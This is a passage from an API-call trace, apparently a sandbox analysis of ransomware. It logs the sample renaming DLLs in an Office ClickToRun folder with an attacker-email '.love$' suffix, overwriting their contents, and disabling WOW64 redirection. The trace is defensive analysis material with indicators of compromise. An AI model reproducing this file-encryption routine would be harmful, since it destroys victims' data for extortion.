(lpString1=".7z", lpString2="dll") returned -1 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString=".dbf") returned 4 [0284.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString=".1cd") returned 4 [0284.903] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0284.903] lstrlenW (lpString=".jpg") returned 4 [0284.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.904] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.904] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0284.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.905] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=1402584) returned 1 [0284.905] CloseHandle (hObject=0x364) returned 1 [0284.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0284.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.905] lstrlenW (lpString=".doc") returned 4 [0284.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.905] lstrlenW (lpString=".docx") returned 5 [0284.905] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0284.905] lstrlenW (lpString=".pdf") returned 4 [0284.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.905] lstrlenW (lpString=".xls") returned 4 [0284.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.905] lstrlenW (lpString=".xlsx") returned 5 [0284.905] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0284.906] lstrlenW (lpString=".ppt") returned 4 [0284.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString=".zip") returned 4 [0284.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString=".rar") returned 4 [0284.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString=".bz2") returned 4 [0284.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.906] lstrlenW (lpString=".7z") returned 3 [0284.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString=".dbf") returned 4 [0284.906] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString=".1cd") returned 4 [0284.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString=".jpg") returned 4 [0284.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.906] lstrlenW (lpString=".doc") returned 4 [0284.906] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString=".docx") returned 5 [0284.906] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0284.906] lstrlenW (lpString=".pdf") returned 4 [0284.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString=".xls") returned 4 [0284.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.906] lstrlenW (lpString=".xlsx") returned 5 [0284.906] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0284.906] lstrlenW (lpString=".ppt") returned 4 [0284.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.907] lstrlenW (lpString=".zip") returned 4 [0284.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.907] lstrlenW (lpString=".rar") returned 4 [0284.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.907] lstrlenW (lpString=".bz2") returned 4 [0284.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.907] lstrlenW (lpString=".7z") returned 3 [0284.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.907] lstrlenW (lpString=".dbf") returned 4 [0284.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.907] lstrlenW (lpString=".1cd") returned 4 [0284.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0284.907] lstrlenW (lpString=".jpg") returned 4 [0284.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.907] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.907] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0284.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.908] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=1761448) returned 1 [0284.908] CloseHandle (hObject=0x364) returned 1 [0284.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0284.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$")) returned 1 [0284.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.910] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fc64 | out: lpNewFilePointer=0x0) returned 1 [0284.910] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fc24 | out: lpNewFilePointer=0x0) returned 1 [0284.910] ReadFile (in: hFile=0x364, lpBuffer=0x3c22058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x323fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c22058*, lpNumberOfBytesRead=0x323fc30*=0x40000, lpOverlapped=0x0) returned 1 [0284.938] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x323fc24 | out: lpNewFilePointer=0x0) returned 1 [0284.938] ReadFile (in: hFile=0x364, lpBuffer=0x3c62058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x323fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c62058*, lpNumberOfBytesRead=0x323fc30*=0x40000, lpOverlapped=0x0) returned 1 [0285.015] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x323fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0285.015] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x323fc24 | out: lpNewFilePointer=0x0) returned 1 [0285.016] ReadFile (in: hFile=0x364, lpBuffer=0x3ca2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x323fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ca2058*, lpNumberOfBytesRead=0x323fc30*=0x40000, lpOverlapped=0x0) returned 1 [0285.065] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.065] WriteFile (in: hFile=0x364, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x323fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0285.751] SetEndOfFile (hFile=0x364) returned 1 [0285.758] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x40000) returned 0x3e919b0 [0285.764] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fc74 | out: lpNewFilePointer=0x0) returned 1 [0285.764] WriteFile (in: hFile=0x364, lpBuffer=0x3e919b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x323fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e919b0*, lpNumberOfBytesWritten=0x323fc80*=0x40000, lpOverlapped=0x0) returned 1 [0285.767] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x323fc74 | out: lpNewFilePointer=0x0) returned 1 [0285.767] WriteFile (in: hFile=0x364, lpBuffer=0x3e919b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x323fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e919b0*, lpNumberOfBytesWritten=0x323fc80*=0x40000, lpOverlapped=0x0) returned 1 [0285.770] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x323fc74 | out: lpNewFilePointer=0x0) returned 1 [0285.770] WriteFile (in: hFile=0x364, lpBuffer=0x3e919b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x323fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e919b0*, lpNumberOfBytesWritten=0x323fc80*=0x40000, lpOverlapped=0x0) returned 1 [0285.773] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3e919b0 | out: hHeap=0x4e0000) returned 1 [0285.773] CloseHandle (hObject=0x364) returned 1 [0285.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0285.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.773] lstrlenW (lpString=".doc") returned 4 [0285.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString=".docx") returned 5 [0285.774] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0285.774] lstrlenW (lpString=".pdf") returned 4 [0285.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString=".xls") returned 4 [0285.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString=".xlsx") returned 5 [0285.774] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0285.774] lstrlenW (lpString=".ppt") returned 4 [0285.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.774] lstrlenW (lpString=".zip") returned 4 [0285.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString=".rar") returned 4 [0285.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.774] lstrlenW (lpString=".bz2") returned 4 [0285.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.774] lstrlenW (lpString=".7z") returned 3 [0285.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.774] lstrlenW (lpString=".dbf") returned 4 [0285.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0285.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.775] lstrlenW (lpString=".1cd") returned 4 [0285.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0285.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.775] lstrlenW (lpString=".jpg") returned 4 [0285.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.775] lstrlenW (lpString=".doc") returned 4 [0285.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString=".docx") returned 5 [0285.775] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0285.775] lstrlenW (lpString=".pdf") returned 4 [0285.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString=".xls") returned 4 [0285.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString=".xlsx") returned 5 [0285.775] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0285.775] lstrlenW (lpString=".ppt") returned 4 [0285.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.775] lstrlenW (lpString=".zip") returned 4 [0285.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString=".rar") returned 4 [0285.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.775] lstrlenW (lpString=".bz2") returned 4 [0285.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.776] lstrlenW (lpString=".7z") returned 3 [0285.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.776] lstrlenW (lpString=".dbf") returned 4 [0285.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0285.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.776] lstrlenW (lpString=".1cd") returned 4 [0285.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0285.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0285.776] lstrlenW (lpString=".jpg") returned 4 [0285.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0285.776] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0285.776] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0285.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0285.777] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=567512) returned 1 [0285.777] CloseHandle (hObject=0x364) returned 1 [0285.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0285.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.778] lstrlenW (lpString=".doc") returned 4 [0285.778] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.778] lstrlenW (lpString=".docx") returned 5 [0285.778] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0285.778] lstrlenW (lpString=".pdf") returned 4 [0285.778] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.778] lstrlenW (lpString=".xls") returned 4 [0285.778] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.778] lstrlenW (lpString=".xlsx") returned 5 [0285.778] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0285.778] lstrlenW (lpString=".ppt") returned 4 [0285.778] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString=".zip") returned 4 [0285.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.779] lstrlenW (lpString=".rar") returned 4 [0285.779] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.779] lstrlenW (lpString=".bz2") returned 4 [0285.779] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.779] lstrlenW (lpString=".7z") returned 3 [0285.779] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString=".dbf") returned 4 [0285.779] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString=".1cd") returned 4 [0285.779] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString=".jpg") returned 4 [0285.779] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.779] lstrlenW (lpString=".doc") returned 4 [0285.779] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.779] lstrlenW (lpString=".docx") returned 5 [0285.779] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0285.780] lstrlenW (lpString=".pdf") returned 4 [0285.780] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.780] lstrlenW (lpString=".xls") returned 4 [0285.780] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.780] lstrlenW (lpString=".xlsx") returned 5 [0285.780] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0285.780] lstrlenW (lpString=".ppt") returned 4 [0285.780] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0285.780] lstrlenW (lpString=".zip") returned 4 [0285.780] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.780] lstrlenW (lpString=".rar") returned 4 [0285.780] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.780] lstrlenW (lpString=".bz2") returned 4 [0285.780] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.780] lstrlenW (lpString=".7z") returned 3 [0285.780] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") Thread: id = 103 os_tid = 0xd4c [0282.960] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x37b00b0 [0282.960] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3d30048 [0282.961] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ade8 [0282.961] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a248 [0282.961] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ae00 [0282.962] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x3f3b020 [0282.965] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ae18 [0282.965] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ae18, Size=0x20) returned 0x51d580 [0282.965] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ae18 [0282.966] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ae18, Size=0x20) returned 0x51d8f0 [0282.966] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.966] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.966] Wow64DisableWow64FsRedirection (in: OldValue=0x337ff50 | out: OldValue=0x337ff50*=0x0) returned 1 [0282.966] lstrlenW (lpString="kernel32.dll") returned 12 [0282.966] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.966] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.966] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.966] Sleep (dwMilliseconds=0x64) [0283.236] Sleep (dwMilliseconds=0x64) [0283.412] Sleep (dwMilliseconds=0x64) [0283.800] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0283.800] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0283.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0283.802] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=19136) returned 1 [0283.802] CloseHandle (hObject=0x358) returned 1 [0283.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0283.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0283.803] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.803] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) 